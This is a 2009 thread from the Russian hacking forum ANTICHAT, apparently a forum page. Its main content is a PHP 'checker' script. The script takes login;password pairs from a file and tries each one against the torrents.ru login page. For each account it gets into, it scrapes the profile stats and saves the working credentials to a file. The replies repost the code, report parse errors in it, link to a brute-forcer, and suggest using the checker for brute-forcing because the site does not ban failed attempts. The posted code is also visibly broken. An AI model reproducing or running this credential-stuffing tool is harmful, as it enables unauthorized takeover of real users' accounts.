HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Torrents.ru checker
  #1  
Старый 24.02.2009, 04:51
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


По умолчанию Torrents.ru checker

Сам брутофорс можно найти тут: http://grabberz.com/showthread.php?t=16618


PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<title>Torrents.ru Checker</title> 
<style type="text/css"> 
<!-- 
body { 
    background-color: #333333; 

.table { 
    border-top-color: #000000; 
    border-right-color: #000000; 
    border-bottom-color: #000000; 
    border-left-color: #000000; 
    font-family: Verdana, Arial, Helvetica, sans-serif; 
    font-size: 10px; 
    color: #FFCC00; 

.style1 { 
    font-family: Verdana, Arial, Helvetica, sans-serif; 
    color: #CCCCCC; 

--> 
</style> 
</head> 
<body> 
<h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> 
<table width="50%" border="1" align="center" class="table"> 
  <tr> 
    <td>Login</td>    
    <td>ID</td>  
    <td>Rate</td> 
    <td>Bonus</td> 
    <td>Upload</td>
    <td>Download</td>
  </tr> 
  <tr> 
<?php 
error_reporting
(0);
set_time_limit(0); 
$url 'http://torrents.ru/forum/login.php'
$ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'
$ref 'http://torrents.ru/forum/index.php'

if(!
function_exists(curl_init))
{
    echo 
'<center><b>cURL not Supported</b></center><br>';
    exit;
}

if(!
file_exists('accs.txt'))
{
    echo 
'<center>File with acc\'s Not Found 404</center>';
    exit;
}
$fp fopen('result.txt','a');
 
$accs file('accs.txt'); 
foreach (
$accs as $acc) { 
list(
$login,$pass) = explode(';',$acc); 
$post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'
$ch curl_init($url); 
    
curl_setopt($chCURLOPT_USERAGENT$ua); 
    
curl_setopt($chCURLOPT_COOKIEJAR'./cook'); 
    
curl_setopt($chCURLOPT_REFERER$ref); 
    
curl_setopt($chCURLOPT_POST1); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
$res curl_exec($ch); 
curl_close($ch);

$regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#"
if(
preg_match($regxp$res$matches)) 

        echo 
'<td>'.$login.'</b></td>'
        echo 
str_pad('',1024)."\n"
    
flush(); 
         
        
$url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; 
        
$ch curl_init($url_cp); 
    
curl_setopt($chCURLOPT_USERAGENT$ua); 
    
curl_setopt($chCURLOPT_COOKIEFILE'./cook'); 
    
curl_setopt($chCURLOPT_REFERER$ref); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATION0); 
        
$res curl_exec($ch);
        
curl_close($ch);
                
    { 
    
$bonus str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td> '.$matches[1].'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    }
  
    if(
preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches)) 
    { 
        
$rate $matches[1]; 
        echo 
'<td>Рейтинг:<b> '.$rate.'</b></td>'
        echo 
str_pad('',1024)."\n"
    
flush();     
    } 
else 

    echo 
"<td>Рейтинг отсутствует</td>";     

    if(
preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$bonus str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Бонус:<b> '.$bonus.'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

if(
preg_match('#<td id=\"u_up_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$u_up str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Закачано:<b> '.$u_up.'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

if(
preg_match('#<td id=\"u_down_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$u_down str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Скачано:<b> '.$u_down.'</b></td></tr>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

else 

    echo 
'<td>Oшибка сценария</td></tr>'
    echo 
str_pad('',1024)."\n"
    
flush(); 

 
fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");
}
else 
    { 
        echo 
'<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'
    } 

fclose($fp); 
?> 
</table> 
</body> 
</html>
(c) b3 & MusTank

Последний раз редактировалось b3; 24.03.2009 в 02:17.. Причина: ап
 
Ответить с цитированием

  #2  
Старый 23.03.2009, 16:17
dailik
Познающий
Регистрация: 27.10.2008
Сообщений: 87
Провел на форуме:
139446

Репутация: 3
По умолчанию

Parse error: syntax error, unexpected T_ELSE in /public_html/mytestfile/untitled.php on line 149
 
Ответить с цитированием

  #3  
Старый 23.03.2009, 17:20
Zake73
Познающий
Регистрация: 04.06.2008
Сообщений: 58
Провел на форуме:
353419

Репутация: 7
По умолчанию

PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<title>Torrents.ru Checker</title> 
<style type="text/css"> 
<!-- 
body { 
    background-color: #333333; 

.table { 
    border-top-color: #000000; 
    border-right-color: #000000; 
    border-bottom-color: #000000; 
    border-left-color: #000000; 
    font-family: Verdana, Arial, Helvetica, sans-serif; 
    font-size: 10px; 
    color: #FFCC00; 

.style1 { 
    font-family: Verdana, Arial, Helvetica, sans-serif; 
    color: #CCCCCC; 

--> 
</style> 
</head> 
<body> 
<h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> 
<table width="50%" border="1" align="center" class="table"> 
  <tr> 
    <td>Login</td>    
    <td>ID</td>  
    <td>Rate</td> 
    <td>Bonus</td> 
    <td>Upload</td>
    <td>Download</td>
  </tr> 
  <tr> 
<?php 
error_reporting
(0);
set_time_limit(0); 
$url 'http://torrents.ru/forum/login.php'
$ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'
$ref 'http://torrents.ru/forum/index.php'

if(!
function_exists(curl_init))
{
    echo 
'<center><b>cURL not Supported</b></center><br>';
    exit;
}

if(!
file_exists('accs.txt'))
{
    echo 
'<center>File with acc\'s Not Found 404</center>';
    exit;
}
$fp fopen('result.txt','a');
 
$accs file('accs.txt'); 
foreach (
$accs as $acc) { 
list(
$login,$pass) = explode(';',$acc); 
$post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'
$ch curl_init($url); 
    
curl_setopt($chCURLOPT_USERAGENT$ua); 
    
curl_setopt($chCURLOPT_COOKIEJAR'./cook'); 
    
curl_setopt($chCURLOPT_REFERER$ref); 
    
curl_setopt($chCURLOPT_POST1); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
$res curl_exec($ch); 
curl_close($ch);

$regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#"
if(
preg_match($regxp$res$matches)) 

        echo 
'<td>'.$login.'</b></td>'
        echo 
str_pad('',1024)."\n"
    
flush(); 
         
        
$url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; 
        
$ch curl_init($url_cp); 
    
curl_setopt($chCURLOPT_USERAGENT$ua); 
    
curl_setopt($chCURLOPT_COOKIEFILE'./cook'); 
    
curl_setopt($chCURLOPT_REFERER$ref); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATION0); 
        
$res curl_exec($ch);
        
curl_close($ch);
                
    { 
    
$bonus str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td> '.$matches[1].'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    }
  
    if(
preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches)) 
    { 
        
$rate $matches[1]; 
        echo 
'<td>Рейтинг:<b> '.$rate.'</b></td>'
        echo 
str_pad('',1024)."\n"
    
flush();     
    } 
else 

    echo 
"<td>Рейтинг отсутствует</td>";     

    if(
preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$bonus str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Бонус:<b> '.$bonus.'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

if(
preg_match('#<td id=\"u_up_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$u_up str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Закачано:<b> '.$u_up.'</b></td>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

if(
preg_match('#<td id=\"u_down_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
    { 
    
$u_down str_replace('&nbsp;','',$matches[1]); 
    echo 
str_pad('',1024)."\n"
    
flush(); 
    echo 
'<td>Скачано:<b> '.$u_down.'</b></td></tr>'
    echo 
str_pad('',1024)."\n"
    
flush(); 
    } 

else 

    echo 
'<td>Oшибка сценария</td></tr>'
    echo 
str_pad('',1024)."\n"
    
flush(); 



fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");

else 
    { 
        echo 
'<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'
    } 

fclose($fp); 
?> 
</table> 
</body> 
</html>
 
Ответить с цитированием

  #4  
Старый 23.03.2009, 20:27
!JaX!
Познающий
Регистрация: 28.04.2007
Сообщений: 42
Провел на форуме:
8056599

Репутация: 42
Отправить сообщение для !JaX! с помощью Yahoo
По умолчанию

Как тут не копипасть - все равно эту ошибку выдает.
Залейте нормальный, рабочий скрипт в архиве для немощных и тупых вроде меня... ))

Поддерживаю последующего оратора

Последний раз редактировалось !JaX!; 23.03.2009 в 20:33..
 
Ответить с цитированием

  #5  
Старый 23.03.2009, 20:32
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


По умолчанию

сделай еще проверку на модерство ) , и количество входящих\исходящих писем )
+
 
Ответить с цитированием

  #6  
Старый 23.03.2009, 21:08
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


По умолчанию

Цитата:
Ты или криво копипаснул, все там нормально с условием.
У тебя там идет конструкция
if(...)
{
}
fputs($fp, trim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");
else
{
}
 
Ответить с цитированием

  #7  
Старый 23.03.2009, 21:23
!JaX!
Познающий
Регистрация: 28.04.2007
Сообщений: 42
Провел на форуме:
8056599

Репутация: 42
Отправить сообщение для !JaX! с помощью Yahoo
По умолчанию

http://grabberz.com/showthread.php?p=197296#post197296

Рабочий код

Последний раз редактировалось !JaX!; 23.03.2009 в 23:45..
 
Ответить с цитированием

  #8  
Старый 24.03.2009, 17:09
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

А брут на php есть?
 
Ответить с цитированием

  #9  
Старый 26.03.2009, 17:39
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

b3, 1. файлы закинул, строку раскоментировал, не пашет.
2. гидру я уже юзал, не помогло, может на сайте защита стоит, и brutus - aet2 тоже юзал - не помогло, на других сайтах работает.


Пример формы
Код:
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
			<input type="hidden" name="do" value="login" />
			<input type="hidden" name="url" value="/" />
			<input type="hidden" name="vb_login_md5password" />
			<input type="hidden" name="vb_login_md5password_utf" />
			
	
			<input type="hidden" name="s" value="" />
		
			
			<fieldset class="fieldset">

				<table cellpadding="0" cellspacing="1" border="0" align="center">
				<tr>
					<td>Имя:<br /><input type="text" class="bginput" name="vb_login_username" size="50" accesskey="u" tabindex="1" /></td>
				</tr>
				<tr>
					<td>Пароль:<br /><input type="password" class="bginput" name="vb_login_password" size="50" tabindex="1" /></td>
				</tr>
				<tr>
					<td>
						<span style="float:right"><a href="login.php?do=lostpw">Забыли пароль?</a></span>
						<label for="cb_cookieuser"><input type="checkbox" name="cookieuser" value="1" id="cb_cookieuser" tabindex="1" />Запомнить?</label>
					</td>
				</tr>
				<tr>
					<td align="right">
						<input type="submit" class="button" value="Вход" accesskey="s" tabindex="1" />
						<input type="reset" class="button" value="Сброс" accesskey="r" tabindex="1" />
					</td>
				</tr>
				</table>
			</fieldset>
			
			</form>
 
Ответить с цитированием

  #10  
Старый 25.03.2009, 13:48
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

Цитата:
Сообщение от b3  
Юзай данный черек как брут, там бана нет, заодно при гудах будеш видеть стату акка, можно и с нуля написать в 10 строчек кода, только вот немного лень.
я когда чекаю через него список около 200 акков, он долго грузится и виснит((
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Proxy Checker Lite не добавляет прокси Xack-Zero Анонимность 1 28.01.2009 23:28
Угон аськи через Hotmail Checker Dracula4ever Skype, IRC, ICQ, Jabber и другие IM 7 30.07.2006 22:01
proxy checker Термит PHP 3 11.07.2006 23:21
Proxy Checker - Ваша собственная база элитных прокси igorshat Разное - Покупка, продажа, обмен 3 11.07.2006 05:33
hotmail checker davidoff Уязвимости Mail-сервис 0 11.05.2006 00:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.